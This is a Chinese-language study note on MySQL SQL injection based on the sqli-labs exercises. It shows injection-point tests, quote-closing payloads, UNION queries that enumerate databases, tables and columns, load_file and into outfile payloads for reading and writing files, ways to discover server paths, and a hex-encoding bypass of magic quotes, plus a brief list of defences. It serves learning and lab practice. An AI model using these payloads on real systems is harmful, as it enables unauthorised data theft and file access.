1.SQL简介:
SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。
本来有一些基础知识有在sql注入小总里写,现在还是再提一下: information_schema.tables:记录所有表名信息的表 information_schema.columns:记录所有列名信息的表 table_name:表名 column_name:列名 table_schema:数据库名 user() 查看当前MySQL登录的用户名 database() 查看当前使用MySQL数据库名 version() 查看当前MySQL版本
是否存在注入点:
1.and (要求and前后两个条件正确才会返回正确) ?id=10’and 1=1(返回正常) ?id=10’and 1=2(报错) 当然也可以不用等于号(有时候=被过滤了) ?id=10’and 2>1(返回正常) ?id=10’and 1>2(报错)
2.or(只需or前后两条件中有一个正确即可返回正确) ?id=10’or 1=1(返回正确) ?id=10’or 1=2 (返回正确)
闭合:
最为常见的是数字型和字符型,主要是要达到闭合的效果 用sqlilabs里的几个题目举几个小栗子:
Less-3 id=-1’) union select 1,2,3 – -
Less-4 id=-1") union select 1,2,3 – -
Less-6 id=-1" union select 1,2,3 – -
由于最近做了两个题,也是关于闭合的: 题型一: 两个注入点,且过滤了单引号 闭合: username=&password=or/**/extractvalue(1,concat(0x7e,database()))%23
题型二: 两个注入点,且过滤了注释符,等号 等 闭合: from=&to=or/**/‘1’<'2
2.MySQL 5.x数据结构:
查看所有数据库:show databases; 选择数据库A:use A; 查看A数据库下的表: show tables; 查看A数据库下的B表内容:select * from B; …有很多语句,有需要时可以在菜鸟教程里查找。
3.跨库攻击:
前提条件:必须是高权限用户才能执行跨库查询 用sqli-labs-master/Less-2举例 首先在数据库里查看拥有最高权限root的host名 然后在题目中查看当前的用户: ?id=-1%20union%20select%201,user(),3 确定是最高权限后,进行跨库查询: 1.首先 最开始在数据库建了一个test库(用来做测试),内表名为aaaa,字段名为id,pass;字段内容有 2.获取所有数据库名称: union select 1,group_concat(schema_name),3 from information_schema.schemata
3.获取test数据库表名: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test’
4.获取字段名: union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘aaaa’ and table_schema=‘test’
5.查看字段内容
4.文件读写:
由于: 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
所以在sqlilabs测试读取文件之前,首先要在inc中加入:
load_file 文件读取 into outfile 或into dumpfile 文件写入
1.读取C盘下ccc.txt文件: ?id=-1 union select 1,load_file(‘C://ccc.txt’),3 2.写入: 将x写入www.txt中 ?id=-1 union select 1,‘x’,3 into outfile ‘D:\www.txt’–+ 了解文件的写入和读取后,我们需要获取文件的路径
6.路径获取的常见方法:
**1.报错显示:**一般网站出现错误的时候会泄露出路径 **2.遗留文件:**站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出 (inurl:phpinfo.php)
3.漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径/zblog 爆路径 4.平台配置文件: 通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径 5.爆破 6.拓展链接:一篇关于读取敏感信息的文:https://blog.csdn.net/weixin_30292843/article/details/99381669
魔术引号及常见防护:magic_quotes_gpc 作用:为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同
绕过方法:hex(16进制)编码绕过 (编码后魔术引号将不再对其生效)
7.防护:
1.内置函数 is_int() 无解 2.魔术引号 3.WAF防护软件:安全狗 宝塔等 4.低版本(小于5.0的mysql 查表名或列名时)注入配合读取或暴力破解(靠猜!) 5.自定义关键字:select等·
|